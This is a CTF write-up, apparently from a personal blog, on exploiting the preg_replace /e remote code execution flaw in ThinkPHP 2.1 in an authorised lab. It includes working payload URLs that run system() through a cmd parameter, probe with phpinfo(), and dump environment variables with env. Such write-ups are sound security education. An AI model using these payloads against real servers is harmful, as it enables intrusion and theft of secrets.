BUUCTF - Web - ThinkPHP 2-Rce

BUUCTF - Web - ThinkPHP 2-Rce
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | BUUCTF(真实漏洞复现,源标注 Real) |
| 方向 | Web |
| 难度 | Easy |
| 分值 | 1 |
| 环境 | 授权靶场(已脱敏) |
| 靶机 | ThinkPHP 2.1(PHP 5.5.38,Apache) |
| 参考 | vulhub 仓库 thinkphp/2-rce(公开 PoC 复现环境) |
练习场、题目及提交相关的实例标识已按要求删除;靶场统一记为「授权靶场(已脱敏)」。
信息收集
- 首页返回 ThinkPHP 示例页(
Hello,ThinkPHP),底部标识ThinkPHP 2.1。 - 由此确认框架版本为 2.x、运行时为 PHP 5.5,命中
preg_replace/e修饰符仍然可用的版本区间(该修饰符在 PHP 7.0 才被移除)。
漏洞分析
漏洞原理
ThinkPHP 2.x 的 URL 分发器 ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中使用 preg_replace 配合 /e 修饰符对路由参数做模板变量替换:
1 | // Dispatcher.class.php (约 102 行) |
/e 修饰符会让 preg_replace 把替换内容作为 PHP 代码执行(eval)。当路由参数 name 的值被拼入模板变量时,攻击者构造的 ${@system(...)} 会被当作 PHP 代码执行,从而实现任意代码执行。
PHP 5.5 的
preg_replace仍支持/e修饰符(该修饰符在 PHP 7.0 才被移除),本题环境为 PHP 5.5.38。
关键触发点
路由参数会经过一次变量名替换。当 URL 为:
1 | GET /index.php/Index/Index/name/${@system('id')} |
时,name 参数的值 ${@system('id')} 会被 preg_replace 的 /e 执行,@system('id') 的结果(命令输出)会回显到页面。
利用过程
1. 确认环境
首页返回 ThinkPHP 示例页(Hello,ThinkPHP),底部标识 ThinkPHP 2.1。
2. 验证代码执行(phpinfo)
1 | GET /index.php/Index/Index/name/${@phpinfo()} |
返回 85136 字节的 phpinfo 页面,确认 /e 修饰符代码执行成功。
3. 命令执行
直接内联 system('id') 时,单引号会被 URL 编码后转义破坏,导致 Parse error($var['name']="${@system(\'id\')}";)。
改用 $_GET 参数传递命令,避免路径内引号转义:
1 | GET /index.php/Index/Index/name/${@system($_GET[cmd])}?cmd=id |
其中 ${@system($_GET[cmd])} 需 URL 编码。命令 id 通过 cmd GET 参数传入,返回:
1 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
4. 读取 flag
flag 存储在环境变量 FLAG 中(非文件),通过 env 命令直接读取:
1 | GET /index.php/Index/Index/name/${@system($_GET[cmd])}?cmd=env |
输出包含 FLAG=flag{xxxx}(真实值已脱敏)。
完整 EXP
本题 payload_abs 为空;源 wp 提及同目录 payload.py(Python 复现脚本),以下为核心 payload 说明与等价请求:
1 | # 1. 验证代码执行:phpinfo |
1 | # 核心 payload 说明(源自 payload.py 思路) |
核心 payload 要点:
- URL 编码:
${@system($_GET[cmd])}整个字符串需要 URL 编码后放入路径。 - 命令通过
cmdGET 参数传递,命令本身再单独 URL 编码,避免单引号/特殊字符被路径转义破坏。 - 命令输出回显:
system()的输出会直接回显在页面顶部(ThinkPHP 错误页之前)。
Flag
flag{xxxx}(真实值已脱敏)。flag 在环境变量 FLAG 中,用 env 命令读取。平台提交结果:accepted,+1 分(相关实例标识已删除)。
踩坑与总结
- 版本是关键:
/e修饰符只在 PHP < 7.0 可用,先确认首页ThinkPHP 2.1标识再动手。 - 路径里内联带单引号的命令会因 URL 编码 / 转义触发
Parse error,务必改用$_GET[cmd]外带命令。 - flag 优先想到环境变量而非
/flag文件:本题env一步到位。 system()输出直接回显在页面顶部,不需要 webshell 或额外回显通道。- 真实漏洞复现的价值在于理解「框架路由替换 + 危险修饰符 = 代码执行」这一通用模式。
仅记录授权靶场环境下的研究;复现脚本思路来自本地 WP 归档,实例 ID 与真实 flag 已脱敏。









